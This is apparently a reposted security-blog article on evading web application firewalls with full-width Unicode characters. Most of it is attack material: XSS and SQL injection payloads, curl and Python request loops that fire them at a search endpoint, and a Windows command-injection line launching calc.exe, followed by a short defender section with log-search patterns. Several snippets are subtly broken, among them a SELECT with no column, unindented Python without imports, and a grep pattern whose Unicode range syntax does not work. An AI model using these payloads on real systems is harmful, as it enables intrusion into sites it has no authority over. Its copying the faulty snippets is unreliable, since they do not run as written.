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Security researchers and bug bounty hunters often encounter Web Application Firewalls (WAFs) and input filters that block standard payloads. One effective bypass technique involves using full-width Unicode characters, which can evade detection while maintaining exploit functionality.
Common Full-Width Unicode Characters for Filter Bypass:
＜ - %EF%BC%9C (\uff1c) ＞ - %EF%BC%9E (\uff1e) ＼ - %EF%BC%BC (\uff3c) ／ - %EF%BC%8F (\uff0f) ＇ - %EF%BC%87 (\uff07) ＂ - %EF%BC%82 (\uff02)
You Should Know:
1. Testing XSS with Full-Width Characters
Replace standard <, >, /, and quotes with their full-width equivalents:
＜script＞alert(1)＜/script＞ ＜img src=x onerror=alert(1)＞
2. SQL Injection Bypass
Use full-width single quotes (`＇`) to bypass filters:
SELECT FROM users WHERE username = 'admin' AND 1=1--
Becomes:
SELECT FROM users WHERE username = ＇admin＇ AND 1=1--
3. WAF Evasion in Linux CLI (Curl Exploitation)
Test payloads using `curl` with URL-encoded full-width characters:
curl -X POST "http://example.com/search" -d "q=＜script＞alert(1)＜/script＞"
Or encode manually:
curl -X POST "http://example.com/search" -d "q=%EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E"
4. Windows Command Injection Bypass
If a system filters `|` or &, try full-width alternatives:
ping 127.0.0.1 ＆ calc.exe
5. Python Script for Automated Bypass
payloads = ["＜script＞alert(1)＜/script＞", "＇ OR 1=1--"]
for payload in payloads:
r = requests.get(f"http://example.com/search?q={payload}")
if "error" not in r.text:
print(f"Bypass successful: {payload}")
What Undercode Say:
Unicode-based filter bypass remains a powerful technique due to inconsistent WAF parsing. Security teams must normalize input by converting full-width characters to their ASCII equivalents. For defenders:
Linux command to detect full-width chars in logs grep -P "[\uff00-\uffff]" /var/log/nginx/access.log
For Windows event logs:
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object { $_.Message -match "[\uff00-\uffff]" }
Always test applications against Unicode payloads and implement proper input sanitization.
Expected Output:
A working XSS/SQLi bypass using full-width Unicode characters, evading WAF restrictions while executing malicious payloads.
Prediction:
As WAFs improve, attackers will increasingly leverage lesser-known Unicode variants, emojis, and homoglyphs to bypass filters. Proactive normalization and behavioral analysis will become critical in defense strategies.
(URLs for further reading: OWASP Unicode Encoding, PortSwigger XSS Cheatsheet)
IT/Security Reporter URL:
Reported By: Amitkumar711 Filterbypass – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
